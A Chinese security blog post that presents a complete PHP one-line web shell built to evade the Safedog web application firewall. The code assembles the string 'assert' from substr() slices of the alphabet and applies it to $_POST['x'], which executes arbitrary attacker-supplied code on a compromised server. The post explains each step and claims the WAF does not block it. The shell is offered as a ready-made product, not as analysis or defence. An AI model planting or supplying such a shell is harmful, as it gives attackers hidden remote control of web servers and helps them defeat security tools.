您的足迹:首页 > Web安全 >2017_最新过狗一句话编写_附成品[过狗一句话][过安全狗bypass]
  • 社团XSS平台 xss.klmyssn.com
  • 全国青少年信息技术社团联盟 lm.klmyssn.com
  • 全国中学生CTF论坛 bbs.klmyssn.com
  • 全国中学生CTF平台 ctf.klmyssn.com
  • 2017_最新过狗一句话编写_附成品[过狗一句话][过安全狗bypass]

    环境:php+mysql+apche
    
    安全狗:apache版本+8.10规则库
    
    即刻安全
    
    即刻安全纯技术交流群:307283889
    
    如需转载,请联系本博主声明,私自转载必追究

    Prat 1

    在bypass小分队中V@1n3R表哥提到他明天会分享过waf的一句话 爱搞事的我当然不能只做伸手党,于是决定也分享一些出来,可是发现许久没有做渗透测试了 手里并没有过waf的一句话了,没办法只好临时刚几个出来

    思路构思以及实现

    本次bypass需要用的一个函数:

    substr() //用于返回字符串的一部分。
    其实这个想法很早就有了,不过好像也有大佬有成品,不过我没看见过(可能是很久没接触渗透测试了) 于是今天晚上就试了一下 其实不管怎么绕过,一句话最终还是: 
    
    	
    assert($_POST['x']);

    所谓的绕过无非就是把这一段进行处理让他达到一个过waf的效果

    Prat 2

    巧用substr函数绕过安全狗

    思路成品:

    <?php
    	 $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
    	 $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
    	 $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
    	 $ss = $a.$b.$c;
    	 $d  = $ss[0].$ss[2].$ss[2]; //ass
    	 $dd = $ss[5].$ss[1].$ss[3]; //ert
    	 $x = $d.$dd;
    $x($_POST['x']);
    ?>

    这里主要关注这两行

    $d  = $ss[0].$ss[2].$ss[2]; //ass
    $dd = $ss[5].$ss[1].$ss[3]; //ert
    $x = $d.$dd;
    上面说了,一句话最终结果还是assert($_POST[‘x’]); 所以这里的$x肯定是assert
    输出一下就知道。
    如图:
    shell_1.jpg

    可以看见echo 出来了assert
    那么他是如何得到assert的呢,我们来看一下

    $x = $d.$dd;
    可以发现,$x通过$d$dd拼接得到的

    $d$dd是通过截取$ss的字符串得到的

    我们分别来输出一下每一个变量获取到的字符串


    shell_2.jpg

    可以发现

    $a = a     //从字符串的第0个字符开始截取,向右截取1个字符
    $b = rst   //从字符串的第17个字符开始截取,向右截取3个字符
    $c = de	   //从字符串的第17个字符开始截取,向右截取3个字符
    $ss = arstde //为三个变量的拼接的来
    
    
    $d = ass   //分别截取$ss的第0,2,2字符
    $dd = ert  //分别截取$ss的第5,1,3字符
    最后拼接成assert
    看一下是否能过狗
    shell_3.jpg 
    完美过狗,并没有拦截 





    相关推荐

  • 社团XSS平台 xss.klmyssn.com
  • 全国青少年信息技术社团联盟 lm.klmyssn.com
  • 全国中学生CTF论坛 bbs.klmyssn.com
  • 全国中学生CTF平台 ctf.klmyssn.com
  • 社团群号 487202411 广告位招租~

    发表评论

    路人甲 表情
    Ctrl+Enter快速提交

    网友评论(0)